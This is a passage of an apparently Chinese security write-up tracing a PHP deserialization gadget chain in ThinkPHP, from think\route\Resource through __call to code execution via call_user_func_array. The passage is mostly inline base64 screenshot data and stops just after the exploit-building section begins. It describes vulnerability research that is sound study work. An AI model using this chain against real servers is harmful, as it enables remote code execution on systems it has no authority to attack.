7vf8y8vBK8drl1f3GOsxgjHbxjz2NvPmem/x7vRh+KT5bPbp9DX15fpW+T7yM/fj+233e8ayZWWzdrNe+jv5S/wP+b9ne7Jnsk8EYAHBAaUB7YFagQmB6wMfBJkFZQbVBPUFuwZPDz4RQggJC1kecpNjxOFxqjl9oe6hM0Nbw1TD4sLWhz0KtwuXhDdFoBGhESsj7kVaRooiG6JAFCdqZdT9aOvoydFHYogx0TEVMU9jR8XOiD0bR4+bGLcr7l28f/zS+LsJNgnShJZE9cTUxOrE90kBSSuSOseOHDtz7MVkg2RhcmMKKSUxZXtK/7jAcavHdaW6ppak3hhvPX7q+PMTDCbkTjg2UX0id+KBNEJaUtqutC/cKG4Vtz+dk16Z3sdj89bwXvD9+Kv4PQJvwQrBswzvjBUZ3ZnemSsze7J8s8qzeoVs4Xrhq+yQ7E3Z73OicnbkDOQm5dblkfPS8g6LtEQ5otZJxpOmTuoQ24tLxJ2TPSevntwnCZNsz0fyx+c3FmjDD/k2qY30F+nDQp/CisIPUxKnHJiqOVU0tW2a3bRF054VBRX9Nh2fzpveMsN0xtwZD2eyZm6ZhcxKn9Uy23z2/Nldc4Ln7JxLnZsz9/dip+IVxW/nJc1rmm80f878x78E/1JTolYiKbm5wGvBpoX4QuHC9kWjF61b9K2UX3qhzKmsvOzLYt7iC7+O+nXtrwNLMpa0L3VbunEZcZlo2Y3lvst3rtBcUbTi8cqIlfWrGKtKV71dPXH1+XKX8k1rqGukazrXhq9tXGexbtm6L+uz1l+v8K+oqzSsXFT5fgN/w5WNfhtrNxltKtv0abNw860twVvqq6yqyrcStxZufbotcdvZ35i/VW832F62/esO0Y7OnbE7W6vdq6t3Ge5aWoPWSGt6dqfuvrwnYE9jrUPtljrdurK9YK907/N9aftu7A/b33KAeaD2oOXBykP0Q6X1SP20+r6GrIbOxuTGjsOhh1uavJoOHXE8suOo6dGKYzrHlh6nHp9/fKC5qLn/hPhE78nMk49bJrbcPTX21LXWmNb202Gnz50JOnPqLOts8znvc0fPe54/fIF5oeGi28X6Nte2Q7+7/n6o3a29/pL7pcbLHpebOsZ0HL/ie+Xk1YCrZ65xrl28Hnm940bCjVs3U2923uLf6r6de/vVncI7n+/OuUe4V3pf4375A8MHVX/Y/lHX6dZ57GHAw7ZHcY/uPuY9fvEk/8mXrvlPaU/Ln5k8q+52
|
|||
|
|
<p>这里我选择在getRelationWith方法中触发__call方法</p>
|
|||
|
|
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140744-e86014c8-3126-1.png><img src=data:image/png;base64,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
|
|||
|
|
<p>重点在$relation以及$visible[$key]的控制,后面再讲诉</p>
|
|||
|
|
<p>那这里自然而然就能调用到__call方法,也就是我们的sink点</p>
|
|||
|
|
<p>这里贴一个我成功利用的调用栈</p>
|
|||
|
|
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140800-f171f96e-3126-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>最后在匿名函数通过call_user_func_array实现代码执行</p>
|
|||
|
|
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140812-f8c7fc04-3126-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABGIAAADKCAYAAADuM+YPAAAMPmlDQ1BJQ0MgUHJvZmlsZQAAeJyVVwdYU8kWnltSIbQAAlJCb4KIlABSQmihdwRRCUmAUGIMBBU7uqjg2sUCNnRVRMEKiAVF7CyKvS8WFJR1sWBX3qSArvvK906+uffPP2f+c+bcuWUAUD/BFYtzUQ0A8kQFkthgf8bY5BQGqRsg8KcCdAGZy8sXs6KjwwG0wfPf7d0N6AvtqoNM65/9/9U0+YJ8HgBINMTp/HxeHsQHAcAreWJJAQBEGW8+pUAsw7ABbQlMEOKFMpypwJUynK7Ae+U+8bFsiFsBIKtyuZJMANQuQ55RyMuEGmp9EDuJ+EIRAOoMiH3y8ibxIU6D2Ab6iCGW6TPTf9DJ/Jtm+pAml5s5hBVzkRs5QJgvzuVO+z/L8b8tL1c6GMMKNtUsSUisbM6wbrdyJoXJsCrEvaL0yCiItSD+IOTL/SFGqVnSkASFP2rIy2fDmsGrDFAnPjcgDGJDiINEuZHhSj49QxjEgRiuEHSqsIATD7EexAsF+YFxSp/NkkmxylhofYaEzVLy57gSeVxZrAfSnASWUv91loCj1MfUirLikyCmQmxRKEyMhFgNYsf8nLgwpc+Yoix25KCPRBory98C4liBKNhfoY8VZkiCYpX+pXn5g/PFNmcJOZFKvL8gKz5EUR+slceV5w/ngl0WiFgJgzqC/LHhg3PhCwICFXPHugWihDilzgdxgX+sYixOFedGK/1xM0FusIw3g9glvzBOORZPLIALUqGPZ4gLouMVeeJF2dzQaEU++DIQDtggADCAFLZ0MAlkA2F7b0Mv/KfoCQJcIAGZQAAclMzgiCR5jwge40AR+BMiAcgfGucv7xWAQsh/HWIVRweQIe8tlI/IAU8hzgNhIBf+l8pHiYaiJYInkBH+IzoXNh7MNxc2Wf+/5wfZ7wwLMuFKRjoYkaE+6EkMJAYQQ4hBRFvcAPfBvfBwePSDzRln4h6D8/juT3hK6CA8IlwndBJuTxQWS37KMgJ0Qv0gZS3Sf6wFbgU1XXF/3BuqQ2VcFzcADrgLjMPCfWFkV8iylXnLqsL4SftvM/jhaij9KE4UlDKM4kex+Xmkmp2a65CKrNY/1keRa/pQvdlDPT/HZ/9QfT48h/3siS3EDmBnsZPYeewo1gAYWDPWiLVhx2R4aHU9ka+uwWix8nxyoI7wH/EGr6yskvlONU49Tl8UfQWCqbJnNGBPEk+TCDOzChgs+EYQMDginuMIhrOTswsAsveL4vH1Jkb+3kB0275z8/4AwLt5YGDgyHcutBmAfe7w9j/8nbNhwleHCgDnDvOkkkIFh8sOBPiUUId3mj4wBubABs7HGbgBL+AHAkEoiALxIBlMgNlnwXUuAVPADDAXlIAysAysBuvBJrAV7AR7wH7QAI6Ck+AMuAgug+vgLlw9XeAF6APvwGcEQUgIDaEj+ogJYonYI84IE/FBApFwJBZJRtKQTESESJEZyDykDFmBrEe2INXIPuQwchI5j3Qgt5GHSA/yGvmEYqgqqo0aoVboSJSJstAwNB4dj2aik9EidD66BF2LVqG70Xr0JHoRvY52oi/QfgxgKpguZoo5YEyMjUVhKVgGJsFmYaVYOVaF1WJN8DpfxTqxXuwjTsTpOAN3gCs4BE/AefhkfBa+GF+P78Tr8Vb8Kv4Q78O/EWgEQ4I9wZPAIYwlZBKmEEoI5YTthEOE0/Be6iK8IxKJukRroju8F5OJ2cTpxMXEDcQ64gliB/ExsZ9EIumT7EnepCgSl1RAKiGtI+0mNZOukLpIH8gqZBOyMzmInEIWkYvJ5eRd5OPkK+Rn5M8UDYolxZMSReFTplGWUrZRmiiXKF2Uz1RNqjXVmxpPzabOpa6l1lJPU+9R36ioqJipeKjEqAhV5qisVdmrck7locpHVS1VO1W2aqqqVHWJ6g7VE6q3Vd/QaDQrmh8thVZAW0Krpp2iPaB9UKOrOapx1Phqs9Uq1OrVrqi9VKeoW6qz1CeoF6mXqx9Qv6Teq0HRsNJga3A1ZmlUaBzWuKnRr0nXHKUZpZmnuVhzl+Z5zW4tkpaVVqAWX2u+1latU1qP6RjdnM6m8+jz6Nvop+ld2kRta22OdrZ2mfYe7XbtPh0tHRedRJ2pOhU6x3Q6dTFdK12Obq7uUt39ujd0Pw0zGsYaJhi2aFjtsCvD3usN1/PTE+iV6tXpXdf7pM/QD9TP0V+u36B/3wA3sDOIMZhisNHgtEHvcO3hXsN5w0uH7x9+xxA1tDOMNZxuuNWwzbDfyNgo2EhstM7olFGvsa6xn3G28Srj48Y9JnQTHxOhySqTZpPnDB0Gi5HLWMtoZfSZGpqGmEpNt5i2m342szZLMCs2qzO7b041Z5pnmK8ybzHvszCxiLCYYVFjcceSYsm0zLJcY3nW8r2VtVWS1QKrBqtuaz1rjnWRdY31PRuaja/NZJsqm2u2RFumbY7tBtvLdqidq12WXYXdJXvU3s1eaL/BvmMEYYTHCNGIqhE3HVQdWA6FDjUODx11HcMdix0bHF+OtBiZMnL5yLMjvzm5OuU6bXO6O0prVOio4lFNo1472znznCucr42mjQ4aPXt04+hXLvYuApeNLrdc6a4RrgtcW1y/urm7Sdxq3XrcLdzT3CvdbzK1mdHMxcxzHgQPf4/ZHkc9Pnq6eRZ47vf8y8vBK8drl1f3GOsxgjHbxjz2NvPmem/x7vRh+KT5bPbp9DX15fpW+T7yM/fj+233e8ayZWWzdrNe+jv5S/wP+b9ne7Jnsk8EYAHBAaUB7YFagQmB6wMfBJkFZQbVBPUFuwZPDz4RQggJC1kecpNjxOFxqjl9oe6hM0Nbw1TD4sLWhz0KtwuXhDdFoBGhESsj7kVaRooiG6JAFCdqZdT9aOvoydFHYogx0TEVMU9jR8XOiD0bR4+bGLcr7l28f/zS+LsJNgnShJZE9cTUxOrE90kBSSuSOseOHDtz7MVkg2RhcmMKKSUxZXtK/7jAcavHdaW6ppak3hhvPX7q+PMTDCbkTjg2UX0id+KBNEJaUtqutC/cKG4Vtz+dk16Z3sdj89bwXvD9+Kv4PQJvwQrBswzvjBUZ3ZnemSsze7J8s8qzeoVs4Xrhq+yQ7E3Z73OicnbkDOQm5dblkfPS8g6LtEQ5otZJxpOmTuoQ24tLxJ2TPSevntwnCZNsz0fyx+c3FmjDD/k2qY30F+nDQp/CisIPUxKnHJiqOVU0tW2a3bRF054VBRX9Nh2fzpveMsN0xtwZD2eyZm6ZhcxKn9Uy23z2/Nldc4Ln7JxLnZsz9/dip+IVxW/nJc1rmm80f878x78E/1JTolYiKbm5wGvBpoX4QuHC9kWjF61b9K2UX3qhzKmsvOzLYt7iC7+O+nXtrwNLMpa0L3VbunEZcZlo2Y3lvst3rtBcUbTi8cqIlfWrGKtKV71dPXH1+XKX8k1rqGukazrXhq9tXGexbtm6L+uz1l+v8K+oqzSsXFT5fgN/w5WNfhtrNxltKtv0abNw860twVvqq6yqyrcStxZufbotcdvZ35i/VW832F62/esO0Y7OnbE7W6vdq6t3Ge5aWoPWSGt6dqfuvrwnYE9jrUPtljrdurK9YK907/N9aftu7A/b33KAeaD2oOXBykP0Q6X1SP20+r6GrIbOxuTGjsOhh1uavJoOHXE8suOo6dGKYzrHlh6nHp9/fKC5qLn/hPhE78nMk49bJrbcPTX21LXWmNb202Gnz50JOnPqLOts8znvc0fPe54/fIF5oeGi28X6Nte2Q7+7/n6o3a29/pL7pcbLHpebOsZ0HL/ie+Xk1YCrZ65xrl28Hnm940bCjVs3U2923uLf6r6de/vVncI7n+/OuUe4V3pf4375A8MHVX/Y/lHX6dZ57GHAw7ZHcY/uPuY9fvEk/8mXrvlPaU/Ln5k8q+52
|
|||
|
|
<p>type也是可控的</p>
|
|||
|
|
<h3 id=toc-3>构造exp</h3>
|
|||
|
|
<p>我喜欢边构造边调试分析,先从source开始</p>
|
|||
|
|
<p>registered默认为false,可以不管,前面我说到了我们要利用parseGroupRule方法,我们需要构建一个think\route\Resource对象</p>
|
|||
|
|
<p>先简单构造一下进行调试</p>
|
|||
|
|
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140825-00cce176-3127-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA3gAAAEOCAYAAADbirW7AAAMPmlDQ1BJQ0MgUHJvZmlsZQAAeJyVVwdYU8kWnltSIbQAAlJCb4KIlABSQmihdwRRCUmAUGIMBBU7uqjg2sUCNnRVRMEKiAVF7CyKvS8WFJR1sWBX3qSArvvK906+uffPP2f+c+bcuWUAUD/BFYtzUQ0A8kQFkthgf8bY5BQGqRsg8KcCdAGZy8sXs6KjwwG0wfPf7d0N6AvtqoNM65/9/9U0+YJ8HgBINMTp/HxeHsQHAcAreWJJAQBEGW8+pUAsw7ABbQlMEOKFMpypwJUynK7Ae+U+8bFsiFsBIKtyuZJMANQuQ55RyMuEGmp9EDuJ+EIRAOoMiH3y8ibxIU6D2Ab6iCGW6TPTf9DJ/Jtm+pAml5s5hBVzkRs5QJgvzuVO+z/L8b8tL1c6GMMKNtUsSUisbM6wbrdyJoXJsCrEvaL0yCiItSD+IOTL/SFGqVnSkASFP2rIy2fDmsGrDFAnPjcgDGJDiINEuZHhSj49QxjEgRiuEHSqsIATD7EexAsF+YFxSp/NkkmxylhofYaEzVLy57gSeVxZrAfSnASWUv91loCj1MfUirLikyCmQmxRKEyMhFgNYsf8nLgwpc+Yoix25KCPRBory98C4liBKNhfoY8VZkiCYpX+pXn5g/PFNmcJOZFKvL8gKz5EUR+slceV5w/ngl0WiFgJgzqC/LHhg3PhCwICFXPHugWihDilzgdxgX+sYixOFedGK/1xM0FusIw3g9glvzBOORZPLIALUqGPZ4gLouMVeeJF2dzQaEU++DIQDtggADCAFLZ0MAlkA2F7b0Mv/KfoCQJcIAGZQAAclMzgiCR5jwge40AR+BMiAcgfGucv7xWAQsh/HWIVRweQIe8tlI/IAU8hzgNhIBf+l8pHiYaiJYInkBH+IzoXNh7MNxc2Wf+/5wfZ7wwLMuFKRjoYkaE+6EkMJAYQQ4hBRFvcAPfBvfBwePSDzRln4h6D8/juT3hK6CA8IlwndBJuTxQWS37KMgJ0Qv0gZS3Sf6wFbgU1XXF/3BuqQ2VcFzcADrgLjMPCfWFkV8iylXnLqsL4SftvM/jhaij9KE4UlDKM4kex+Xmkmp2a65CKrNY/1keRa/pQvdlDPT/HZ/9QfT48h/3siS3EDmBnsZPYeewo1gAYWDPWiLVhx2R4aHU9ka+uwWix8nxyoI7wH/EGr6yskvlONU49Tl8UfQWCqbJnNGBPEk+TCDOzChgs+EYQMDginuMIhrOTswsAsveL4vH1Jkb+3kB0275z8/4AwLt5YGDgyHcutBmAfe7w9j/8nbNhwleHCgDnDvOkkkIFh8sOBPiUUId3mj4wBubABs7HGbgBL+AHAkEoiALxIBlMgNlnwXUuAVPADDAXlIAysAysBuvBJrAV7AR7wH7QAI6Ck+AMuAgug+vgLlw9XeAF6APvwGcEQUgIDaEj+ogJYonYI84IE/FBApFwJBZJRtKQTESESJEZyDykDFmBrEe2INXIPuQwchI5j3Qgt5GHSA/yGvmEYqgqqo0aoVboSJSJstAwNB4dj2aik9EidD66BF2LVqG70Xr0JHoRvY52oi/QfgxgKpguZoo5YEyMjUVhKVgGJsFmYaVYOVaF1WJN8DpfxTqxXuwjTsTpOAN3gCs4BE/AefhkfBa+GF+P78Tr8Vb8Kv4Q78O/EWgEQ4I9wZPAIYwlZBKmEEoI5YTthEOE0/Be6iK8IxKJukRroju8F5OJ2cTpxMXEDcQ64gliB/ExsZ9EIumT7EnepCgSl1RAKiGtI+0mNZOukLpIH8gqZBOyMzmInEIWkYvJ5eRd5OPkK+Rn5M8UDYolxZMSReFTplGWUrZRmiiXKF2Uz1RNqjXVmxpPzabOpa6l1lJPU+9R36ioqJipeKjEqAhV5q